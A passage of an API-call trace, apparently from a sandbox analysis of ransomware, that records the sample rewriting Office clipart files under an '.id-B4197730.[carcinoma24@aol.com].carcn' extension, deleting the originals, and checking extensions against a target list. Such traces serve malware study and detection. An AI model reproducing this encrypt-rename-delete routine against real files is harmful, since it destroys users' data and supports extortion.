office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.396] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.396] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.397] GetLastError () returned 0x0 [0287.397] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x788, lpOverlapped=0x0) returned 1 [0287.403] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x790, lpOverlapped=0x0) returned 1 [0287.404] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.404] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.404] SetEndOfFile (hFile=0x56c) returned 1 [0287.404] CloseHandle (hObject=0x56c) returned 1 [0287.404] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.404] SetEndOfFile (hFile=0x53c) returned 1 [0287.418] CloseHandle (hObject=0x53c) returned 1 [0287.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0287.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.420] lstrlenW (lpString=".doc") returned 4 [0287.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.420] lstrlenW (lpString=".docx") returned 5 [0287.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.420] lstrlenW (lpString=".pdf") returned 4 [0287.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.420] lstrlenW (lpString=".xls") returned 4 [0287.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.420] lstrlenW (lpString=".xlsx") returned 5 [0287.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.420] lstrlenW (lpString=".ppt") returned 4 [0287.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.420] lstrlenW (lpString=".zip") returned 4 [0287.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.421] lstrlenW (lpString=".rar") returned 4 [0287.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.421] lstrlenW (lpString=".bz2") returned 4 [0287.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.421] lstrlenW (lpString=".7z") returned 3 [0287.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.421] lstrlenW (lpString=".dbf") returned 4 [0287.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.421] lstrlenW (lpString=".1cd") returned 4 [0287.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0287.421] lstrlenW (lpString=".jpg") returned 4 [0287.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.422] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=9172) returned 1 [0287.422] CloseHandle (hObject=0x53c) returned 1 [0287.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0287.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.423] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.423] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0287.424] GetLastError () returned 0x0 [0287.424] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0287.704] WriteFile (in: hFile=0x568, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0287.705] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.705] WriteFile (in: hFile=0x568, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.705] SetEndOfFile (hFile=0x568) returned 1 [0287.950] CloseHandle (hObject=0x568) returned 1 [0287.950] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.950] SetEndOfFile (hFile=0x53c) returned 1 [0287.958] CloseHandle (hObject=0x53c) returned 1 [0287.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0287.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.960] lstrlenW (lpString=".doc") returned 4 [0287.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.960] lstrlenW (lpString=".docx") returned 5 [0287.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.960] lstrlenW (lpString=".pdf") returned 4 [0287.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString=".xls") returned 4 [0287.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.961] lstrlenW (lpString=".xlsx") returned 5 [0287.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.961] lstrlenW (lpString=".ppt") returned 4 [0287.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.961] lstrlenW (lpString=".zip") returned 4 [0287.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.961] lstrlenW (lpString=".rar") returned 4 [0287.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString=".bz2") returned 4 [0287.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString=".7z") returned 3 [0287.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.961] lstrlenW (lpString=".dbf") returned 4 [0287.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.961] lstrlenW (lpString=".1cd") returned 4 [0287.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0287.961] lstrlenW (lpString=".jpg") returned 4 [0287.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.000] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=17016) returned 1 [0288.000] CloseHandle (hObject=0x560) returned 1 [0288.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0288.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0288.018] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.018] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0288.046] GetLastError () returned 0x0 [0288.046] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x4278, lpOverlapped=0x0) returned 1 [0288.074] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x4280, lpOverlapped=0x0) returned 1 [0288.075] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.075] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.076] SetEndOfFile (hFile=0x550) returned 1 [0288.076] CloseHandle (hObject=0x550) returned 1 [0288.076] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.076] SetEndOfFile (hFile=0x560) returned 1 [0288.079] CloseHandle (hObject=0x560) returned 1 [0288.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0288.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.081] lstrlenW (lpString=".doc") returned 4 [0288.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString=".docx") returned 5 [0288.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0288.081] lstrlenW (lpString=".pdf") returned 4 [0288.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString=".xls") returned 4 [0288.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.081] lstrlenW (lpString=".xlsx") returned 5 [0288.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0288.081] lstrlenW (lpString=".ppt") returned 4 [0288.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.081] lstrlenW (lpString=".zip") returned 4 [0288.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.081] lstrlenW (lpString=".rar") returned 4 [0288.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString=".bz2") returned 4 [0288.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString=".7z") returned 3 [0288.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.081] lstrlenW (lpString=".dbf") returned 4 [0288.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.081] lstrlenW (lpString=".1cd") returned 4 [0288.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0288.082] lstrlenW (lpString=".jpg") returned 4 [0288.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.082] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=15680) returned 1 [0288.082] CloseHandle (hObject=0x560) returned 1 [0288.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0288.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0288.083] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.084] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0288.084] GetLastError () returned 0x0 [0288.084] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0288.092] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0288.093] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.093] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.093] SetEndOfFile (hFile=0x550) returned 1 [0288.133] CloseHandle (hObject=0x550) returned 1 [0288.134] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.134] SetEndOfFile (hFile=0x560) returned 1 [0288.139] CloseHandle (hObject=0x560) returned 1 [0288.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0288.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.141] lstrlenW (lpString=".doc") returned 4 [0288.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.141] lstrlenW (lpString=".docx") returned 5 [0288.141] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0288.141] lstrlenW (lpString=".pdf") returned 4 [0288.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.141] lstrlenW (lpString=".xls") returned 4 [0288.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.141] lstrlenW (lpString=".xlsx") returned 5 [0288.141] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0288.141] lstrlenW (lpString=".ppt") returned 4 [0288.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.142] lstrlenW (lpString=".zip") returned 4 [0288.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.142] lstrlenW (lpString=".rar") returned 4 [0288.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.142] lstrlenW (lpString=".bz2") returned 4 [0288.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.142] lstrlenW (lpString=".7z") returned 3 [0288.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.142] lstrlenW (lpString=".dbf") returned 4 [0288.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.142] lstrlenW (lpString=".1cd") returned 4 [0288.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0288.142] lstrlenW (lpString=".jpg") returned 4 [0288.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.143] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=28212) returned 1 [0288.143] CloseHandle (hObject=0x560) returned 1 [0288.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0288.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0288.146] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.146] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0288.151] GetLastError () returned 0x0 [0288.151] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0288.153] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0288.155] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.155] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.155] SetEndOfFile (hFile=0x550) returned 1 [0288.155] CloseHandle (hObject=0x550) returned 1 [0288.155] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.155] SetEndOfFile (hFile=0x560) returned 1 [0288.159] CloseHandle (hObject=0x560) returned 1 [0288.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 